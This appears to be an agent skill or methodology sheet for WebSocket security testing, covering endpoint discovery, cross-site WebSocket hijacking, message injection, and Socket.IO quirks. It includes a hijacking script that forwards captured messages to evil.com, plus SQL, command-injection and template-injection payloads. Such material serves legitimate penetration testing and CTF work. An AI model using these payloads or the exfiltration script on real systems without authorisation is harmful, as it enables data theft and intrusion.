websocket-attack

WebSocket security testing methodology

WebSocket provides full-duplex communication, but security mechanisms are often overlooked—there is no automatic protection from the same-origin policy, and no standard practice for CSRF tokens.

Phase 1: Discovering WebSocket endpoints

1.1 Page analysis

Search the JS source code for:

• new WebSocket(
• ws:// or wss://
• socket.io(Socket.IO library)
• .onmessage, .send(

1.2 Network-layer identification

• HTTP 101 response + Upgrade: websocket header
• Common paths:/ws, /websocket, /socket.io/, /cable（ActionCable）

Phase 2: Cross-Site WebSocket Hijacking (CSWSH)

The WebSocket handshake is an HTTP Upgrade request, and the browser automatically carries cookies. If the server does not check the Origin header → cross-site hijacking is possible.

2.1 Detection

http_request url="http://target/ws" method="GET" headers={"Upgrade":"websocket","Connection":"Upgrade","Sec-WebSocket-Version":"13","Sec-WebSocket-Key":"dGhlIHNhbXBsZSBub25jZQ==","Origin":"https://evil.com"}

If it returns 101 → Origin is not validated → hijacking is possible.

2.2 Exploitation

<script>
var ws = new WebSocket("wss://target.com/ws");
ws.onopen = function() {
    ws.send('{"action":"getProfile"}');
};
ws.onmessage = function(e) {
    // 窃取数据
    fetch("http://evil.com/log?d=" + encodeURIComponent(e.data));
};
</script>

Phase 3: Message injection

3.1 Common injection points

WebSocket messages are usually JSON; test for injection:

SQL injection：

{"action":"search","query":"' OR 1=1--"}

Command injection：

{"action":"ping","host":"127.0.0.1; cat /flag.txt"}

SSTI：

{"action":"render","template":"{{7*7}}"}

3.2 Authentication bypass

Some WS implementations authenticate during the handshake, but do not check permissions at the message level:

• Send an admin action message after connecting
• Modify the user_id/role field in the message
• Send an undisclosed action type (discovered from the JS source code)

Phase 4: Information disclosure

WebSocket is often used for real-time features and may leak:

• Other users' chat messages
• System notifications (containing internal information)
• Real-time logs/debug information
• Broadcasts of administrative actions

Listen to all messages and do not rush to send—sometimes passive listening alone can obtain sensitive data.

Phase 5: Socket.IO special handling

Socket.IO uses its own protocol format:

• Message format:42["event_name",{data}]（4=message, 2=event）
• First use HTTP polling, then upgrade to WS:/socket.io/?EIO=4&transport=polling
• Namespaces: you can connect to the /admin namespace to try to access administrative functionality

5.1 Socket.IO enumeration

• Event name enumeration: search the JS source code to find hidden event names

5.2 Authentication gaps

• There is authentication during the handshake, but permissions are not checked at the message level (inconsistent authentication/permission gaps)

In-depth reference

• Advanced WebSocket exploitation techniques (in-depth CSWSH/SockJS/smuggling/authentication extraction) → references/websocket-exploitation.md

Phase 6: Notes

• WebSocket is not protected by the browser same-origin policy (it relies only on server-side Origin checks)
• Message content usually has no automatic encoding/escaping, so the injection risk is high
• A long-lived connection means continuous listening and injection are possible